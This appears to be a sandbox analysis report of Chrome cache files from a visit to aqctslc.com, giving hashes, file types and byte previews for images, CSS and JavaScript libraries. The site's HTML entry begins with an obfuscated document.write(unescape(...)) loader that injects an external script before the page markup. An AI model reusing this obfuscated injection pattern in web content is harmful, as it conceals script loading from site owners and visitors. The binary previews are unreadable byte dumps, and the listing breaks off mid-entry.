Preview:	......JFIF.....`.`.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..........q....f...P..).2.....,...........>jk`...S.4.<....8..Q]...KR...b.NM..W........"........g.......9.4....$.Ip.c].u... E.'.h.[h\|..k`d....B.!.._..^..t.5.f\|.b...&2.qV.t]B.1$P.Q..4.......1#...`y....qr......6.....-^....~R..t<..;5.R.F.......OM...Q[hL.A..<W..Z.Z......P...<=,r.$.Cc.........g..J..:.Z

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5862), with CRLF line terminators
Category:	dropped
Size (bytes):	6063
Entropy (8bit):	5.0931035592629
Encrypted:	false
SSDEEP:	96:HaMWGbU563CvldugvwYdfWA3oTa9+xcuS+5ijkunc9s5BeK7p8vmiIKpiyW:HaMW+U563CvzugvXdfZUopjkunosfR+W
MD5:	C4DAF2755CB5C35EB40079A0457AF6AF
SHA1:	98813BBFBC7A3B53B68457778CBF073281AF1ECB
SHA-256:	5932EF8C9C2D361A85D8834D47F508DBD305FDA081FB646C18F7FBE76839080A
SHA-512:	428AB339EAEE7B3DA2EE135AE6E9A99DD7626693027F1EB33A4239486475DCDA6BD40F2DFA40FED5D46728813354F874FEB0572F6806EA51C523EF6640825051
Malicious:	false
Reputation:	low
Preview:	/!.. Validator v0.8.1 for Bootstrap 4, by @1000hz.. * Copyright 2015 Cina Saffary.. * Licensed under http://opensource.org/licenses/MIT.. .. https://github.com/1000hz/bootstrap-validator.. */....+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b),f=c.data("bs.validator");(f\|\|"destroy"!=b)&&(f\|\|c.data("bs.validator",f=new d(this,e)),"string"==typeof b&&f[b]())})}var c=':input:not([type="submit"], button):enabled:visible',d=function(b,c){this.$element=a(b),this.options=c,c.errors=a.extend({},d.DEFAULTS.errors,c.errors);for(var e in c.custom)if(!c.errors[e])throw new Error("Missing default error message for custom validator: "+e);a.extend(d.VALIDATORS,c.custom),this.$element.attr("novalidate",!0),this.toggleSubmit(),this.$element.on("input.bs.validator change.bs.validator focusout.bs.validator",a.proxy(this.validateInput,this)),this.$element.on("submit.bs.validator",a.proxy(this.onSubmit,this)),th

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (540)
Category:	downloaded
Size (bytes):	39396
Entropy (8bit):	5.050432481123135
Encrypted:	false
SSDEEP:	384:DmOm6ZJl690kK/PIiUsuYIzJTcNQ2QIcpMTSkyllbhhpfzNS4gKBv1fj4fV4Ndaj:6JRE+mI8LFgLIJJnm02S
MD5:	63D13E07CD21D7C0D96305591044ECFA
SHA1:	BE31C6DB001CFE8C2281B5FD251FB33129FA4E72
SHA-256:	843BFFEB01CCD76A9BCA9A7E9922668C722B9FE5E588F97167DAF2AA95C75380
SHA-512:	F11B8D04AD6357AE37F92C1F08763745C21C99C9D201D36B008B0C2ABB88606DD1E83B6016F6BB1786536E8C1571BBB5876819FDD7D53F95B4F5BF8AC69AAB42
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/
Preview:	<script>document.write(unescape("%3Cscript%20src%3D%22\u002f\u006a\u007a\u0077\u006b\u0071\u0075\u0063\u006e\u002e\u006a\u0073%22%3E%3C/script%3E"));</script>.<!DOCTYPE html>.<html lang="zh-CN">.<head>. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <meta http-equiv="X-UA-Compatible" content="ie=edge">. <title>.....-....</title>. <meta name="keywords" content="..........,.....-....">. <meta name="description" content=".....-.........-..............bjL8.cc...........................................PT.........................">. <meta name="theme-color" content="#453fc6">. <link rel="canonical" href="https://aqctslc.com">. <meta

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	7.781759133232852
Encrypted:	false
SSDEEP:	12:6v/7xidHSD23ZeChUQBN6w6PfLaLA6/+fjhp6idTs3syNdmN7ZtyAWYVsyfwx92L:bS6eyfA9a33dG7HyAWjyf2qaDfiHxLR
MD5:	BC01B71F4E73E7C4CBD2E5E1E0C8716C
SHA1:	6F212B75A69F3CAE9DDE95B6DDA5EA3C36F42AFF
SHA-256:	806C9FD754335F8FF409B7D693D4BFC8CBD4F5A033FE2DCE2C32E1E3D2980055
SHA-512:	1863C8C345607D8F33BE963AC4299B2A326A6A9504DEA126647F46657570866B9605D3E6CDF6827C4E5DC0AB4DA6EB883F1D7A39EA7C2D252C0330682E7F2AC2
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/discover.png
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d....9IDATXG..LUe..?.^.B.YnT...96iY,X1K. .\..)E...L..c....P.T,q)N...+.._..c0e..B. (\..^.{..{.v.....~I..lg;..=...<.9{%!...l..ey9 1.B.T....X(...M.$..Ts.aT.,..g..h..$.Q.........9..;.2...wd...#.<....=..X,...........R..........?Y..R.H...^Kcs.j;5G....w%.....G..3x.....x\...]5<...e...\|O.........G.....k......#..N.E..Q...?.j.?H..(B...../:C..j.....Tl......R.o....Bk[..k.X..z....~d...........Y~),"1&.....H.f.[.....H._...L....$zc.>.x.~..B.........p.......LHP....@....?.F..m.b..a].u...g...R..\|y.1Wb..yg./..._...z.f.kl._?..e.....z.....'.Z.^.......h.. f.k.z.z...HG..6...p/...>,&#.3....t....+...N....UJ"..4..E...@.,(`.A"..)..d...\|..9U5.\u.}.?g./.IX.I..d..r..../O..Hb.....6xx....i.S.;...5...}Jm..ZNJ.\|.A...%.7...v..C.....B.lF....#..M..d6[......i.%.2...t..DG=r...;=u.I...B z.#..!.J....en....Q.3..q........D......."..!....,..f...M..J......3f!.0."........^...t.,...P..*X.=..G....G....L...(...q..n...o..#.g.D....Y.....n.5.l.$.....vh

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12290
Entropy (8bit):	7.964942628945971
Encrypted:	false
SSDEEP:	192:gArP3SiponOxK3DiToinKVHK81NaiTwlfv0vWjyj2s/d+ZvSNo/kBoy:13yeK3DiEin66iTwlfv0qAf0nk
MD5:	E467DB9BBB62689D98379D71070ACBD1
SHA1:	E1B41384D561D07F779B55E96751D73AAC7D8D18
SHA-256:	0B555B921C7E5669BB2DBDB68D5ACAEF904F96A943FB1168D9D5FC1B506E5080
SHA-512:	4DD63080059816BBD1A991BACC763D93CD95E627628AEA684B25FE2DF5C6E664C3A63CB9761360F43DDA22EC02CCD53CF0E50632F9FA12A475F3148A66B3FCCF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:8E5D35AF596511EBA9F9954840A4DF7B" xmpMM:DocumentID="xmp.did:8E5D35B0596511EBA9F9954840A4DF7B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8E5D35AD596511EBA9F9954840A4DF7B" stRef:documentID="xmp.did:8E5D35AE596511EBA9F9954840A4DF7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..Y`..,rIDATx.Q.J.A.}..l8....6w.S(.\|@JK....$..6"..Q..Ij[K....*..!V.A..j..{xGN+...a......5#....#..D...$I.@...z

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 207 x 219, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	11480
Entropy (8bit):	7.972395484522248
Encrypted:	false
SSDEEP:	192:/achTtoCcUIuHsaik36kyYQLl0fZECtAD7zJ4vEZ1PT+MRRXaWXGK0z11zHUfzh4:S4TsU4xw7yYDPGJ4vKPT+MRRXrXkzD66
MD5:	6D262A22B5328EB770E5009A7694F8CF
SHA1:	EF8D18BD57BB6A087B04F4A11C50D8F924A97A32
SHA-256:	876A593D8C7BB29F253B4173AA6E480D60C831A0D43C57740BB5ECFB751E1175
SHA-512:	AAAC1A63A0650143D88146951B6AB4AA66DAE0BBA7C32161E259A1A3CC989C4D816327E85D5B1B93662D51F017DA2F90965C4A99AD7D570542C403E321CE85C4
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/shape3.png
Preview:	.PNG........IHDR...............5.....PLTE..........Eh...(ob.....U..T....Fi..U........G.......Gk..V........U%lb...........U.Eh.Rf)qc.Kg........."jc%kb........U+qb.............>h.Ch/tb.....U..V.Fh........V<.`...serc..V......5y`qc.Fi............ e^.....V5y`..UB._.e[..W...........U..U...\|.Zf.[..X_.\.....V[.]v.Z......J.^j.['nc.Hh........VV.]&ebP.^..V.Hh..XN.]s.Z...'m`.[dob.Tf..U.......r\&ma..N!Xe....]d<._..V.Lg cdo.[..X~.Y..X.Fh`.\..U..WE._..U..Q.[e.. .Lg`.\w.Y)qd.Ii,td..X.\e..W)oc'mc(l_..S0ta..SQ.]..V.]c%ga..U.Z_..Q..X`dX.].Ogj.[ 2%)eXEz`.-)..V9xa..U...(ob)oa.D]..OC._X.].[e..U..T..S..R.".%aV.>h.41y.Q.Ig+rc.Kf.S]5kc..T+5....t.= SJ..W._c.\_;J%..V..U.=7.NK..V..R.(8Sm4.,/K.`X.]..U].\-rb.Kc:pb..ZD.[!D:.F_.;5!SJJ\..Wg.[..Y.1+..V\|.V..S.E>!:-..X"VL.;5..RG_0Ri1.0Fe}5.<AE.`d.LSl4.7R)ob.Eh..U.....U.Eg(nb.Bh..<-....tRNS................................Fp...7....%....y....>..2...gM...-....Z.......S)................`.........e.....%..................#...........VIF=....,.......9......u ...

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	15745
Entropy (8bit):	7.975672912531662
Encrypted:	false
SSDEEP:	384:8SML2eRJCDd62+bKkIZP57IxSQkdom7GUoC0fKyOomiCIvO:8SMQ5P+bKVZB7pzoC0QiFO
MD5:	EC751A7196ED7F6CF993F38ADA014D49
SHA1:	2A79AA8C79D83DD33590F2E42665181B8172F32C
SHA-256:	552130A1009FCAFBAFEFA6FBC2029CF3B04B12018E0C3241F0E0CA6D9778D5D2
SHA-512:	65B0D18FD841E76E82E09CD623E93413779933F99D05E8984CE3FAB7F182020D152B37F4BE50ECD4958B14EBB484735972B9474C1FABCFA9A1CD70A6B78B17CD
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/services-icon3.png
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:80322DF2596511EBA1B2D535DA9B0A0C" xmpMM:DocumentID="xmp.did:80322DF3596511EBA1B2D535DA9B0A0C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:80322DF0596511EBA1B2D535DA9B0A0C" stRef:documentID="xmp.did:80322DF1596511EBA1B2D535DA9B0A0C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......9.IDATx.Q.+.Q.....y.C..$^.........HJY...d.lXX.J.VV.6.bAQ..W.^..G.y3w./M..].s......KRJ.w..&.u......d...

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13844
Entropy (8bit):	7.972185206660658
Encrypted:	false
SSDEEP:	384:2hzN9/hD13A0O4YsGVMmCO+9vwZKPXEdHjdJqRYE0v9:2xr7WRVMmGvwZK8hZJqRYf
MD5:	6EDCB781C3DAF003A230E0CB6BE72AB5
SHA1:	B6CE62614554D42A436C8A00041F560F25B4A522
SHA-256:	BC5D3E5B53B4140608E9425589A44CB4AED10C23DD5D7A1E7AD44BEAFB9F3458
SHA-512:	213131BA133514B5AC3BB10DD7ED9EF3246B5E44B5A9C06A70950DBB0EA5111792B95DAEBBA8270B460D39D207A4A72BB7B9DB270EA9E2F18FB91C8183046E9A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:43B24BB4596511EB88B1E7E3213EFCE3" xmpMM:DocumentID="xmp.did:43B24BB5596511EB88B1E7E3213EFCE3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:43B24BB2596511EB88B1E7E3213EFCE3" stRef:documentID="xmp.did:43B24BB3596511EB88B1E7E3213EFCE3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>HS...2.IDATx..1K.P...%!..).B..B.J@.N.~.'Q.....`.G?..&. 8..A...Q.?@.C.R...V......%&X:...{..~...c....@..,....f..*.

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8099), with CRLF line terminators
Category:	dropped
Size (bytes):	8157
Entropy (8bit):	5.202101426815786
Encrypted:	false
SSDEEP:	192:7mEE6yAmu6qUxbU5C9nrr1GkEPIAeJ3KO4poIR:iEE/Amu6qUxVBxGkAI///IR
MD5:	164B265E6089F412B7927848018AE6A1
SHA1:	1717E6B487126C5C3E992D47DBA4C6C10F4529BC
SHA-256:	81C4CB0BC57B5CCE1816BD704F7A2B12EC2B143C6A067402644D4A139B273350
SHA-512:	956BBDA2E4F3069C72D8DBC003D04D02A6026428BEB9B9C8B0B78EB1DCCE9B73B6F619B5558A4EEC9C6D681EAEC6EBB45E4ECD504A77EF9AD69B9B95373A3270
Malicious:	false
Reputation:	low
Preview:	/! WOW wow.js - v1.3.0 - 2016-10-04.. https://wowjs.uk..* Copyright (c) 2016 Thomas Grainger; Licensed MIT */!function(a,b){if("function"==typeof define&&define.amd)define(["module","exports"],b);else if("undefined"!=typeof exports)b(module,exports);else{var c={exports:{}};b(c,c.exports),a.WOW=c.exports}}(this,function(a,b){"use strict";function c(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function d(a,b){return b.indexOf(a)>=0}function e(a,b){for(var c in b)if(null==a[c]){var d=b[c];a[c]=d}return a}function f(a){return/Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(a)}function g(a){var b=arguments.length<=1\|\|void 0===arguments[1]?!1:arguments[1],c=arguments.length<=2\|\|void 0===arguments[2]?!1:arguments[2],d=arguments.length<=3\|\|void 0===arguments[3]?null:arguments[3],e=void 0;return null!=document.createEvent?(e=document.createEvent("CustomEvent"),e.initCustomEvent(a,b,c,d)):null!=document.createEventObject?(e=document.cr

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12490
Entropy (8bit):	7.96475096113655
Encrypted:	false
SSDEEP:	384:3eKRwv81zI3L5JS+OgE5t2I1S/QBsic2WZRlxcgC:1mv81kXS+y5QaBsbnlxG
MD5:	0F9429C6B30EF046885B731A01322357
SHA1:	0DB41EEFBA8E306990BED8746D153950D4ADFCDC
SHA-256:	47A1B82DCFB2027C92FB2AD14E58313348D58DA6F1D49ABC20F48299A157242C
SHA-512:	6E751827744C880890A9C604039470B9E9C1A0AA0DAF7DFE07D75B2EF2329445D986B0A7717C9566AB76B196898ED224DFD0413B294E5A6350B23F1AA67F9A7E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:9BE19416596511EBACADB5A3BBF7EDB1" xmpMM:DocumentID="xmp.did:9BE19417596511EBACADB5A3BBF7EDB1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9BE19414596511EBACADB5A3BBF7EDB1" stRef:documentID="xmp.did:9BE19415596511EBACADB5A3BBF7EDB1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..Ix..-:IDATx.b...?.....:.............aX'.Y.....\|.........>Dh.{.H..................\|\|\|.aaa..>}..3.....0g...

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (686), with CRLF line terminators
Category:	downloaded
Size (bytes):	39418
Entropy (8bit):	4.692604370463589
Encrypted:	false
SSDEEP:	384:RuYw4p26oxbI6nEAYV3+8nXpTFb2xIxbZW8m6ysuOF/Mb:Tw45TnXpTFbue/Mb
MD5:	7CF7B45BAF347397F9D5159D7F9A0809
SHA1:	BA97AABC6EE006D8D893D5143EA7054B1ADA2786
SHA-256:	5B7403B5E45CE6C316D16D7C68F134A5DD69148A88C72CEFA4750DB6FBC28E8C
SHA-512:	168EBCF380CCD03144F5B07AD0092F614410E0C5F05DB207969021DF3A9238DA25A7DC3DEA69C0FB0A6FCFFDFACA2DB1B2085D3B6A221072FCF0F13A88129F80
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/responsive.css
Preview:	/* Max width 767px */..@media only screen and (max-width: 767px) {.. body {.. font-size: 13px;.. }.. p {.. font-size: 13px;.. }.. .container {.. max-width: 100%;.. }.. .ptb-100 {.. padding-top: 60px;.. padding-bottom: 60px;.. }.. .pt-100 {.. padding-top: 60px;.. }.. .pb-100 {.. padding-bottom: 60px;.. }.. .ptb-70 {.. padding-top: 30px;.. padding-bottom: 30px;.. }.. .pt-70 {.. padding-top: 30px;.. }.. .pb-70 {.. padding-bottom: 30px;.. }.. .pb-60 {.. padding-bottom: 20px;.. }.. .default-btn {.. padding: 10px 20px 10px 37px;.. font-size: 13px;.. }.. .default-btn i {.. left: 15px;.. font-size: 15px;.. }.. .section-title {.. max-width: 100%;.. margin-bottom: 40px;.. }.. .section-title .sub-title {.. font-size: 13px;.. }.. .section-title h2 {.. font-size: 22px;.. }.. .section-title h2 br {.. display: none;.. }.. .section-title.text-start {.. text-align: center !important;.. }.. .form-control

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	37819
Entropy (8bit):	7.976280299806509
Encrypted:	false
SSDEEP:	768:JNd2HI1v41MnPOajtPxfzhk17VAhVZZsepA/CsEzD2BrJgyO3ISMC:JNUF1haRpbhk1Rm9KCs02ndO3DMC
MD5:	2CFE9F3849CE5C4492AE038210AB0D55
SHA1:	02927E5D6BA0AD76F93CE8B0326B15A09939FE36
SHA-256:	92CE5D560DC14B5412CB5C38B35D26449447B313183315EF21D055E706D0F6E1
SHA-512:	B0A10A02CC3CAD8EFAB939644A4C5B4B5359CF1CE35BD8E5429B97809F1786C9C4964587199E9B523E5014043C42B2A3DEBC4BE0325E5F7E94E28D6A9DA3F92D
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/bing-wan-ying.png
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<... .IDATx...w..U..._.09'...0.!.D..AtU.9.5........s..."..sf`.`r...]DBOUuW..>O?(L.:43].n.{..!...@6..h.d......,@.P.T..@._....ym........@>.{.s..t.....#....oS..o....;....#......s!.....0H$0...t<.J..6.s......h..BE....y..........K.y.L`...#...@]...Y@..1.U.\|.L..\|..."6.4._(w.F..x.........!..A.5.'..^#/'z..u^.$..=.T6`...P.....{..^...<..B.....E.B...4.U...2...2..0.N....._../..".....{1.b......e.[.....2.a....U...t....B..\...(w.F_..~m......[.......K_.f...{...Bx#...e....._.6...\.....M......5P...&...DL...~.....k..?..............).~.B.!t..r.e...F.9 J.{...P.........L..F.!.PX.?.......#4..z...c.{.H...]s)!...-P........g1v...PZ!..>..k.J..!...4..\|...."....d...C..jBY.bW.6.!Dx1....3..z..#..d..m`..9.^?.L..B.q.N.m.....W#...].x../.....Z..4.-.B.....4I(..z.qr..3/.WA&..dl.q.S.&Dc.ta...D..44.T]Kce...z.K.S.s.u;.S.s?5.vR.i...&#.....C.cL.p.p;`.1.."S.IiW@lf*1.i.d......i.....n..rP_UMcC#u.U..

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1047
Entropy (8bit):	7.779241102847817
Encrypted:	false
SSDEEP:	24:nwE2Lmf5678O9DsMYWiF4kkKpUPesVZsVjEUCEFzTc7:nwucuJWVhKpUGj4UZ07
MD5:	F3CE07AC2790DFCDB4961DBA2A4FF07A
SHA1:	186306B6F95E9E1E854B76E38BE1C92A5B533CB0
SHA-256:	888EF1617C11B2B05ABD3BD2D6F45CA57545E811C820120850D5C3911DA56833
SHA-512:	D924F938829C4C6FDD6CF70D1BD3720704BD2A036BD91F83B8ABCCA11F8227C356B526A1F62974FAF32BC3FB212640441EB0AF63B098E0EA3D2371BA9C7C9416
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/paypal.png
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d.....IDATXG..L.u.._...........D~49w..j.I....p.?....._...k.V.....G..5u.%j.hf.fJ,...b...9....iw.....o..}........>...y.....$H..N..B@ ....hzEQ<%..... ..4..p/[Y..(....a.1...?.^...A>..<d.F.y..!.HD..U ..e..O...i..u7.E.EQ...@..T.U.....N.v.\|GG.x.i;O.r.G.......7....C..Jn.._{..w...b.K.%J..MU...H....d.r.o.....V.kV.78...d..)8.S.....'.....B..?b4..q.....+.%9.8..h(..B.)....?...'... +5...Ly$fW4PY..-....Gs2)...;8..#....f.\..F.m....y.../Q.....t..y...F'D\|.L..c.$.P[a....vT-aY.l5..6.......W? /;.ts".qFK.....9.....C.N.....G_..z../w.........~E~.9.6..8..,.8....~.u..A..l3.o..........Cg...w..e.E...8Z._..r.ol..c.0..%..k.....<.o[GK.M:...}v!.S,.QzN\.I.......k.r-... y}4.V.A......\..........i>.5.....jbl...K..\|))+w......Y.(.M...........=^..........p.=l(/....Z8..kJ....o.I....@..p/....12NjR<^./P.?.rRP.:........kp~....p...$......[..1.1.R#8..%.......d_.s.f..t.u._v..Q.mJ.".2F......>U.=x..ACa...EUg.3..L.....EBQ...(.yi..

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 48x48, 32 bits/pixel
Category:	dropped
Size (bytes):	9662
Entropy (8bit):	6.186054974385727
Encrypted:	false
SSDEEP:	192:xfMaCFgjq/LtVt7Cb3QCvJRLXHMq8tzM+bxlMW3cfyzxedr:xRCFgu/LtVt7CbgCvJRbZKbvMW3cm0r
MD5:	69AAF5244AF86105A28F5659C0705904
SHA1:	64248B0AC8F5736D32D2C8960146D8CDF391A77E
SHA-256:	746B4D084290C26C21F20F5E13762E5E7C95E48D41AA744FE957A7227D9334F2
SHA-512:	B75B98283C6FD7AB18499810B08278C1B6576C0AF7966D2D41DC0437F524BD8E3261A4E902ADABFE8EFE7688B6812AFD77F26EEAEBCFE169855FDBE1411A8E18
Malicious:	false
Reputation:	low
Preview:	......00.... ..%......(...0...`..... ......$..................................................................2p...n...U..k..)i..)h..)f..)e..(d.2(c.I(c.['b.b&a.a&`.X%_.D$^.+#^..#^.."\.."\..#\.. Z..+c.."Y..........................................................................................6u...o..?y..,m..+l..j..i.5)h.r)g.)f..(e..(d..(c..(b..'a..&`..%_..$^..#^.."].."].b"\.(#[.."Z..#Z.."Y..#Z..$\..........................................................................1r../q..-n...o..-n..,m..+l.bk.i..)i..)h..)g..)f..(d..(d..(c..'b..'a..&`..%_..$^..#].."].."\.."[.."Z.L#Z.."Y..#Y..#Y..$[..................................................................c....r../s...q...o..-n.d,n..+m..l..j..)i.)h.P)g.')g..)f..)f..'c..'b..c..'a..%_..$_.2#^.c#].."].."\.."[.."Z.."Y.I#Y..#Y...V..&Z..'c......................................................0s...s...r..0r../q.8.p..o..-n..,m.+m.V*k..%e..)h..)g..)f..)g..(e.l(e..(d.?)d..'b..%_..$^..#^..%_.."].'"\.u"[.."Z.."Z..#Y..#X. #X..$X..$X..=Y....

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10078
Entropy (8bit):	7.950548083620954
Encrypted:	false
SSDEEP:	192:g0DSG6lTsVbk1f/mOTJwhnepkY5oJZGhVMkcmMoHTrwvTX:nDSG6iIN3k8KejHnwvTX
MD5:	D4C303EA1DE654282578BD25A15F5AD7
SHA1:	C27DBBD2DCF15735C8E5F3CF77DD72F9E2010CB7
SHA-256:	397D1482D9BD5EC959284893F4AE73B161DABCE73A9757C1F40A47FA4110F9ED
SHA-512:	5B57B7CA96A6BEB088F2FCC130FD0E9507375382DAC9D84616BDCBEDB5DA113B3B2F06F15F1A3048BAEE9407854D62869CF536A0C68C61A74A025452658C649C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:A64F89AE596411EB8AEFD526B3EF0BD1" xmpMM:DocumentID="xmp.did:A64F89AF596411EB8AEFD526B3EF0BD1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A64F89AC596411EB8AEFD526B3EF0BD1" stRef:documentID="xmp.did:A64F89AD596411EB8AEFD526B3EF0BD1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.....#.IDATx.b.\|.?.....v@...A.L......j.X.4.N X.........W.........QR..Z0#.&..............iRTT..d....+.......].\|.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10241), with CRLF line terminators
